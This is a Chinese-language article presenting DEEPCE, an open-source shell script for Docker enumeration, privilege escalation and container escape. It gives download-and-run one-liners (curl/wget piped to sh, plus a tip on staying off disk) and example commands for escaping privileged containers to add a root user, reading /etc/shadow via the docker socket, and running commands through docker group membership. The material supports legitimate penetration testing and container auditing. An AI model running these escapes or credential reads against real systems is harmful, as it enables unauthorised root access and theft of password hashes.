Docker 枚举、特权升级和容器逃逸 (DEEPCE)

2023-02-23 14:38:41 浏览数 (1)

Docker 枚举、特权升级和容器逃逸 (DEEPCE)

为了使其与最大数量的容器兼容,DEEPCE 是纯编写的sh,没有依赖性。如果可用,它将使用其他工具,例如 curl、nmap、nslookup 和 dig,但在大多数情况下不依赖于它们进行枚举。

枚举都不应该触及磁盘,但是大多数漏洞利用会创建新的容器,这将导致磁盘写入,并且一些漏洞利用会覆盖 runC,这可能具有破坏性,所以要小心!

可以使用以下单行之一将 DEEPCE 下载到主机或容器上。提示:下载到/dev/shm避免接触磁盘。

代码语言:javascript复制
wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
# Or using python requests
python -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content)' > deepce.sh 
python3 -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").c

枚举

以下是 DEEPCE 执行的枚举列表。

  • 容器 ID 和名称(通过反向 DNS)
  • 容器 IP / DNS 服务器
  • 码头工人版本
  • 有趣的坐骑
  • 普通文件中的密码
  • 环境变量
  • 密码哈希
  • 容器中存储的常见敏感文件
  • 同一网络上的其他容器
  • 端口扫描其他容器,以及宿主机本身

漏洞利用

  • Docker 组提权
  • 特权模式主机命令执行
  • 裸露的 Docker

有效载荷

对于上述每个漏洞利用,都可以定义有效负载以利用主机系统。这些包括:

  • 反向 TCP 外壳
  • 打印 /etc/shadow
  • 添加新的根用户
  • 运行自定义命令
  • 运行自定义负载二进制文件
代码语言:javascript复制
# Make the script executable and then run it
chmod  x ./deepce.sh
./deepce.sh

漏洞利用

以下示例显示了可以执行的不同类型的漏洞利用和可用的有效负载。

  • 利用特权容器在主机操作系统上创建新的 root 用户:
代码语言:javascript复制
./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce
  • 利用可写的 docker sock 文件打印内容/etc/shadow
代码语言:javascript复制
./deepce.sh --no-enumeration --exploit SOCK --shadow
  • 通过主机上 docker 组的成员身份升级到 root 并运行自定义负载
代码语言:javascript复制
./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked"

高级用法

可以在不接触磁盘的情况下下载和运行 deepce,但是您将无法轻松设置参数(可以使用导出直接操作变量)。

代码语言:javascript复制
wget -O - https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh

https://github.com/stealthcopter/deepce

0 人点赞